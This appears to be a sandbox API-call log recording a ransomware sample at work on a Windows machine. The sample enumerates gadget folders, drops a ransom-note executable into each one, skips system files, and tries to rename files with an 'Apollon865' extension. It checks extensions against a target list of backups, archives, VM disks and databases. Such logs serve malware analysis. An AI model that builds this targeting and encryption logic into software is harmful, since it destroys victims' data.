	[0052.030] lstrcmpiW (lpString1="e_down.png", lpString2="Apollon865") returned 1
	[0052.030] lstrlenW (lpString=".dll") returned 4
	[0052.030] lstrcmpiW (lpString1="delete_down.png", lpString2=".dll") returned 1
	[0052.030] lstrlenW (lpString=".lnk") returned 4
	[0052.030] lstrcmpiW (lpString1="delete_down.png", lpString2=".lnk") returned 1
	[0052.030] lstrlenW (lpString=".ini") returned 4
	[0052.030] lstrcmpiW (lpString1="delete_down.png", lpString2=".ini") returned 1
	[0052.030] lstrlenW (lpString=".sys") returned 4
	[0052.030] lstrcmpiW (lpString1="delete_down.png", lpString2=".sys") returned 1
	[0052.030] lstrlenW (lpString="delete_down.png") returned 15
	[0052.031] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="delete_over.png" | out: lpString1="delete_over.png") returned="delete_over.png"
	[0052.031] lstrlenW (lpString="delete_over.png") returned 15
	[0052.031] lstrlenW (lpString="Apollon865") returned 10
	[0052.031] lstrcmpiW (lpString1="e_over.png", lpString2="Apollon865") returned 1
	[0052.031] lstrlenW (lpString=".dll") returned 4
	[0052.031] lstrcmpiW (lpString1="delete_over.png", lpString2=".dll") returned 1
	[0052.031] lstrlenW (lpString=".lnk") returned 4
	[0052.031] lstrcmpiW (lpString1="delete_over.png", lpString2=".lnk") returned 1
	[0052.031] lstrlenW (lpString=".ini") returned 4
	[0052.031] lstrcmpiW (lpString1="delete_over.png", lpString2=".ini") returned 1
	[0052.031] lstrlenW (lpString=".sys") returned 4
	[0052.031] lstrcmpiW (lpString1="delete_over.png", lpString2=".sys") returned 1
	[0052.031] lstrlenW (lpString="delete_over.png") returned 15
	[0052.031] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="delete_up.png" | out: lpString1="delete_up.png") returned="delete_up.png"
	[0052.031] lstrlenW (lpString="delete_up.png") returned 13
	[0052.031] lstrlenW (lpString="Apollon865") returned 10
	[0052.031] lstrcmpiW (lpString1="ete_up.png", lpString2="Apollon865") returned 1
	[0052.031] lstrlenW (lpString=".dll") returned 4
	[0052.031] lstrcmpiW (lpString1="delete_up.png", lpString2=".dll") returned 1
	[0052.031] lstrlenW (lpString=".lnk") returned 4
	[0052.031] lstrcmpiW (lpString1="delete_up.png", lpString2=".lnk") returned 1
	[0052.031] lstrlenW (lpString=".ini") returned 4
	[0052.031] lstrcmpiW (lpString1="delete_up.png", lpString2=".ini") returned 1
	[0052.031] lstrlenW (lpString=".sys") returned 4
	[0052.031] lstrcmpiW (lpString1="delete_up.png", lpString2=".sys") returned 1
	[0052.031] lstrlenW (lpString="delete_up.png") returned 13
	[0052.031] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="graph_down.png" | out: lpString1="graph_down.png") returned="graph_down.png"
	[0052.031] lstrlenW (lpString="graph_down.png") returned 14
	[0052.031] lstrlenW (lpString="Apollon865") returned 10
	[0052.031] lstrcmpiW (lpString1="h_down.png", lpString2="Apollon865") returned 1
	[0052.031] lstrlenW (lpString=".dll") returned 4
	[0052.032] lstrcmpiW (lpString1="graph_down.png", lpString2=".dll") returned 1
	[0052.032] lstrlenW (lpString=".lnk") returned 4
	[0052.032] lstrcmpiW (lpString1="graph_down.png", lpString2=".lnk") returned 1
	[0052.032] lstrlenW (lpString=".ini") returned 4
	[0052.032] lstrcmpiW (lpString1="graph_down.png", lpString2=".ini") returned 1
	[0052.032] lstrlenW (lpString=".sys") returned 4
	[0052.032] lstrcmpiW (lpString1="graph_down.png", lpString2=".sys") returned 1
	[0052.032] lstrlenW (lpString="graph_down.png") returned 14
	[0052.032] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="graph_over.png" | out: lpString1="graph_over.png") returned="graph_over.png"
	[0052.032] lstrlenW (lpString="graph_over.png") returned 14
	[0052.032] lstrlenW (lpString="Apollon865") returned 10
	[0052.032] lstrcmpiW (lpString1="h_over.png", lpString2="Apollon865") returned 1
	[0052.032] lstrlenW (lpString=".dll") returned 4
	[0052.032] lstrcmpiW (lpString1="graph_over.png", lpString2=".dll") returned 1
	[0052.032] lstrlenW (lpString=".lnk") returned 4
	[0052.032] lstrcmpiW (lpString1="graph_over.png", lpString2=".lnk") returned 1
	[0052.032] lstrlenW (lpString=".ini") returned 4
	[0052.032] lstrcmpiW (lpString1="graph_over.png", lpString2=".ini") returned 1
	[0052.032] lstrlenW (lpString=".sys") returned 4
	[0052.032] lstrcmpiW (lpString1="graph_over.png", lpString2=".sys") returned 1
	[0052.032] lstrlenW (lpString="graph_over.png") returned 14
	[0052.032] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="graph_up.png" | out: lpString1="graph_up.png") returned="graph_up.png"
	[0052.032] lstrlenW (lpString="graph_up.png") returned 12
	[0052.032] lstrlenW (lpString="Apollon865") returned 10
	[0052.032] lstrcmpiW (lpString1="aph_up.png", lpString2="Apollon865") returned -1
	[0052.032] lstrlenW (lpString=".dll") returned 4
	[0052.032] lstrcmpiW (lpString1="graph_up.png", lpString2=".dll") returned 1
	[0052.032] lstrlenW (lpString=".lnk") returned 4
	[0052.032] lstrcmpiW (lpString1="graph_up.png", lpString2=".lnk") returned 1
	[0052.032] lstrlenW (lpString=".ini") returned 4
	[0052.032] lstrcmpiW (lpString1="graph_up.png", lpString2=".ini") returned 1
	[0052.032] lstrlenW (lpString=".sys") returned 4
	[0052.033] lstrcmpiW (lpString1="graph_up.png", lpString2=".sys") returned 1
	[0052.033] lstrlenW (lpString="graph_up.png") returned 12
	[0052.033] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="info.png" | out: lpString1="info.png") returned="info.png"
	[0052.033] lstrlenW (lpString="info.png") returned 8
	[0052.033] lstrlenW (lpString="Apollon865") returned 10
	[0052.033] lstrlenW (lpString=".dll") returned 4
	[0052.033] lstrcmpiW (lpString1="info.png", lpString2=".dll") returned 1
	[0052.033] lstrlenW (lpString=".lnk") returned 4
	[0052.033] lstrcmpiW (lpString1="info.png", lpString2=".lnk") returned 1
	[0052.033] lstrlenW (lpString=".ini") returned 4
	[0052.033] lstrcmpiW (lpString1="info.png", lpString2=".ini") returned 1
	[0052.033] lstrlenW (lpString=".sys") returned 4
	[0052.033] lstrcmpiW (lpString1="info.png", lpString2=".sys") returned 1
	[0052.033] lstrlenW (lpString="info.png") returned 8
	[0052.033] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="row_over.png" | out: lpString1="row_over.png") returned="row_over.png"
	[0052.033] lstrlenW (lpString="row_over.png") returned 12
	[0052.033] lstrlenW (lpString="Apollon865") returned 10
	[0052.033] lstrcmpiW (lpString1="w_over.png", lpString2="Apollon865") returned 1
	[0052.033] lstrlenW (lpString=".dll") returned 4
	[0052.033] lstrcmpiW (lpString1="row_over.png", lpString2=".dll") returned 1
	[0052.033] lstrlenW (lpString=".lnk") returned 4
	[0052.033] lstrcmpiW (lpString1="row_over.png", lpString2=".lnk") returned 1
	[0052.033] lstrlenW (lpString=".ini") returned 4
	[0052.033] lstrcmpiW (lpString1="row_over.png", lpString2=".ini") returned 1
	[0052.033] lstrlenW (lpString=".sys") returned 4
	[0052.033] lstrcmpiW (lpString1="row_over.png", lpString2=".sys") returned 1
	[0052.033] lstrlenW (lpString="row_over.png") returned 12
	[0052.033] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="triangle.png" | out: lpString1="triangle.png") returned="triangle.png"
	[0052.033] lstrlenW (lpString="triangle.png") returned 12
	[0052.033] lstrlenW (lpString="Apollon865") returned 10
	[0052.034] lstrcmpiW (lpString1="iangle.png", lpString2="Apollon865") returned 1
	[0052.034] lstrlenW (lpString=".dll") returned 4
	[0052.034] lstrcmpiW (lpString1="triangle.png", lpString2=".dll") returned 1
	[0052.034] lstrlenW (lpString=".lnk") returned 4
	[0052.034] lstrcmpiW (lpString1="triangle.png", lpString2=".lnk") returned 1
	[0052.034] lstrlenW (lpString=".ini") returned 4
	[0052.034] lstrcmpiW (lpString1="triangle.png", lpString2=".ini") returned 1
	[0052.034] lstrlenW (lpString=".sys") returned 4
	[0052.034] lstrcmpiW (lpString1="triangle.png", lpString2=".sys") returned 1
	[0052.034] lstrlenW (lpString="triangle.png") returned 12
	[0052.034] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US"
	[0052.034] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5994c0 | out: hHeap=0x580000) returned 1
	[0052.034] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ca8 | out: hHeap=0x580000) returned 1
	[0052.034] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US") returned 68
	[0052.034] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US" | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US"
	[0052.034] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.034] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\currency.gadget\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.038] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.038] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x37167d90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37167d90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0052.038] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.038] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.038] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0052.038] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x37167d90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37167d90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.038] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.038] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0052.038] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0052.039] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="css" | out: lpString1="css") returned="css"
	[0052.039] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ca8
	[0052.039] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x92) returned 0x5994c0
	[0052.039] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7cb0 | out: ListHead=0x5b76b0, ListEntry=0x5b7cb0) returned 0x59fc90
	[0052.039] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1792, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="currency.html", cAlternateFileName="")) returned 1
	[0052.039] lstrcmpiW (lpString1="currency.html", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.039] lstrcmpiW (lpString1="currency.html", lpString2="Apollon865.txt.exe") returned 1
	[0052.039] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="currency.html" | out: lpString1="currency.html") returned="currency.html"
	[0052.039] lstrlenW (lpString="currency.html") returned 13
	[0052.039] lstrlenW (lpString="Apollon865") returned 10
	[0052.039] lstrcmpiW (lpString1="rency.html", lpString2="Apollon865") returned 1
	[0052.039] lstrlenW (lpString=".dll") returned 4
	[0052.039] lstrcmpiW (lpString1="currency.html", lpString2=".dll") returned 1
	[0052.039] lstrlenW (lpString=".lnk") returned 4
	[0052.039] lstrcmpiW (lpString1="currency.html", lpString2=".lnk") returned 1
	[0052.039] lstrlenW (lpString=".ini") returned 4
	[0052.039] lstrcmpiW (lpString1="currency.html", lpString2=".ini") returned 1
	[0052.039] lstrlenW (lpString=".sys") returned 4
	[0052.039] lstrcmpiW (lpString1="currency.html", lpString2=".sys") returned 1
	[0052.039] lstrlenW (lpString="currency.html") returned 13
	[0052.039] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="gadget.xml" | out: lpString1="gadget.xml") returned="gadget.xml"
	[0052.039] lstrlenW (lpString="gadget.xml") returned 10
	[0052.039] lstrlenW (lpString="Apollon865") returned 10
	[0052.039] lstrlenW (lpString=".dll") returned 4
	[0052.039] lstrcmpiW (lpString1="gadget.xml", lpString2=".dll") returned 1
	[0052.039] lstrlenW (lpString=".lnk") returned 4
	[0052.039] lstrcmpiW (lpString1="gadget.xml", lpString2=".lnk") returned 1
	[0052.039] lstrlenW (lpString=".ini") returned 4
	[0052.039] lstrcmpiW (lpString1="gadget.xml", lpString2=".ini") returned 1
	[0052.039] lstrlenW (lpString=".sys") returned 4
	[0052.040] lstrcmpiW (lpString1="gadget.xml", lpString2=".sys") returned 1
	[0052.040] lstrlenW (lpString="gadget.xml") returned 10
	[0052.040] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\gadget.xml.Apollon865") returned 90
	[0052.040] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\currency.gadget\\en-us\\gadget.xml"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\gadget.xml.Apollon865" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\currency.gadget\\en-us\\gadget.xml.apollon865"), dwFlags=0x1) returned 0
	[0052.040] GetLastError () returned 0x5
	[0052.040] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\gadget.xml MoveFileEx error 5\r\n") returned 108
	[0052.040] lstrlenA (lpString="[ERROR] C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\gadget.xml MoveFileEx error 5\r\n") returned 108
	[0052.040] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0052.041] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1e6c
	[0052.041] WriteFile (in: hFile=0x14c, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x6c, lpOverlapped=0x0) returned 1
	[0052.041] CloseHandle (hObject=0x14c) returned 1
	[0052.041] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0052.041] CloseHandle (hObject=0x0) returned 0
	[0052.041] CloseHandle (hObject=0x0) returned 0
	[0052.041] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37167d90, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x37167d90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0052.041] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0052.041] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a11cd0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0052.041] lstrcmpiW (lpString1="js", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0052.041] lstrcmpiW (lpString1="js", lpString2="Apollon865.txt.exe") returned 1
	[0052.041] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="js" | out: lpString1="js") returned="js"
	[0052.041] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0052.041] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x90) returned 0x599560
	[0052.041] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7af0 | out: ListHead=0x5b76b0, ListEntry=0x5b7af0) returned 0x5b7cb0
	[0052.041] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a11cd0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0052.041] FindClose (in: hFindFile=0x5ca190 | out: hFindFile=0x5ca190) returned 1
	[0052.042] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7af0
	[0052.042] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js"
	[0052.042] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599560 | out: hHeap=0x580000) returned 1
	[0052.042] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0052.042] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js") returned 71
	[0052.042] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js" | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js"
	[0052.042] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.042] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\currency.gadget\\en-us\\js\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.047] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.047] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x3718def0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3718def0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0052.047] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.047] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.047] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0052.047] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x3718def0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3718def0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.047] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.047] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0052.047] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0052.047] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0052.047] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x104de, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="currency.js", cAlternateFileName="")) returned 1
	[0052.047] lstrcmpiW (lpString1="currency.js", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.047] lstrcmpiW (lpString1="currency.js", lpString2="Apollon865.txt.exe") returned 1
	[0052.047] lstrcmpiW (lpString1="currency.js", lpString2=".") returned 1
	[0052.048] lstrcmpiW (lpString1="currency.js", lpString2="..") returned 1
	[0052.048] lstrcmpiW (lpString1="currency.js", lpString2="windows") returned -1
	[0052.048] lstrcmpiW (lpString1="currency.js", lpString2="bootmgr") returned 1
	[0052.048] lstrcmpiW (lpString1="currency.js", lpString2="temp") returned -1
	[0052.048] lstrcmpiW (lpString1="currency.js", lpString2="pagefile.sys") returned -1
	[0052.048] lstrcmpiW (lpString1="currency.js", lpString2="boot") returned 1
	[0052.048] lstrcmpiW (lpString1="currency.js", lpString2="ids.txt") returned -1
	[0052.048] lstrcmpiW (lpString1="currency.js", lpString2="ntuser.dat") returned -1
	[0052.048] lstrcmpiW (lpString1="currency.js", lpString2="perflogs") returned -1
	[0052.048] lstrcmpiW (lpString1="currency.js", lpString2="MSBuild") returned -1
	[0052.048] lstrlenW (lpString="currency.js") returned 11
	[0052.048] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js\\*") returned 73
	[0052.048] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="currency.js" | out: lpString1="currency.js") returned="currency.js"
	[0052.048] lstrlenW (lpString="currency.js") returned 11
	[0052.048] lstrlenW (lpString="Apollon865") returned 10
	[0052.048] lstrcmpiW (lpString1="urrency.js", lpString2="Apollon865") returned 1
	[0052.048] lstrlenW (lpString=".dll") returned 4
	[0052.048] lstrcmpiW (lpString1="currency.js", lpString2=".dll") returned 1
	[0052.048] lstrlenW (lpString=".lnk") returned 4
	[0052.048] lstrcmpiW (lpString1="currency.js", lpString2=".lnk") returned 1
	[0052.048] lstrlenW (lpString=".ini") returned 4
	[0052.048] lstrcmpiW (lpString1="currency.js", lpString2=".ini") returned 1
	[0052.048] lstrlenW (lpString=".sys") returned 4
	[0052.048] lstrcmpiW (lpString1="currency.js", lpString2=".sys") returned 1
	[0052.048] lstrlenW (lpString="currency.js") returned 11
	[0052.048] lstrlenW (lpString="bak") returned 3
	[0052.048] lstrcmpiW (lpString1=".js", lpString2="bak") returned -1
	[0052.048] lstrlenW (lpString="ba_") returned 3
	[0052.048] lstrcmpiW (lpString1=".js", lpString2="ba_") returned -1
	[0052.048] lstrlenW (lpString="dbb") returned 3
	[0052.048] lstrcmpiW (lpString1=".js", lpString2="dbb") returned -1
	[0052.048] lstrlenW (lpString="vmdk") returned 4
	[0052.048] lstrcmpiW (lpString1="y.js", lpString2="vmdk") returned 1
	[0052.048] lstrlenW (lpString="rar") returned 3
	[0052.049] lstrcmpiW (lpString1=".js", lpString2="rar") returned -1
	[0052.049] lstrlenW (lpString="zip") returned 3
	[0052.049] lstrcmpiW (lpString1=".js", lpString2="zip") returned -1
	[0052.049] lstrlenW (lpString="tgz") returned 3
	[0052.049] lstrcmpiW (lpString1=".js", lpString2="tgz") returned -1
	[0052.049] lstrlenW (lpString="vbox") returned 4
	[0052.049] lstrcmpiW (lpString1="y.js", lpString2="vbox") returned 1
	[0052.049] lstrlenW (lpString="vdi") returned 3
	[0052.049] lstrcmpiW (lpString1=".js", lpString2="vdi") returned -1
	[0052.049] lstrlenW (lpString="vhd") returned 3
	[0052.049] lstrcmpiW (lpString1=".js", lpString2="vhd") returned -1
	[0052.049] lstrlenW (lpString="vhdx") returned 4
	[0052.049] lstrcmpiW (lpString1="y.js", lpString2="vhdx") returned 1
	[0052.049] lstrlenW (lpString="avhd") returned 4
	[0052.049] lstrcmpiW (lpString1="y.js", lpString2="avhd") returned 1
	[0052.049] lstrlenW (lpString="db") returned 2
	[0052.049] lstrcmpiW (lpString1="js", lpString2="db") returned 1
	[0052.049] lstrlenW (lpString="db2") returned 3
	[0052.049] lstrcmpiW (lpString1=".js", lpString2="db2") returned -1
	[0052.049] lstrlenW (lpString="db3") returned 3
	[0052.049] lstrcmpiW (lpString1=".js", lpString2="db3") returned -1
	[0052.049] lstrlenW (lpString="dbf") returned 3
	[0052.049] lstrcmpiW (lpString1=".js", lpString2="dbf") returned -1
	[0052.049] lstrlenW (lpString="mdf") returned 3
	[0052.049] lstrcmpiW (lpString1=".js", lpString2="mdf") returned -1
	[0052.049] lstrlenW (lpString="mdb") returned 3
	[0052.049] lstrcmpiW (lpString1=".js", lpString2="mdb") returned -1
	[0052.049] lstrlenW (lpString="sql") returned 3
	[0052.049] lstrcmpiW (lpString1=".js", lpString2="sql") returned -1
	[0052.049] lstrlenW (lpString="sqlite") returned 6
	[0052.049] lstrcmpiW (lpString1="ncy.js", lpString2="sqlite") returned -1
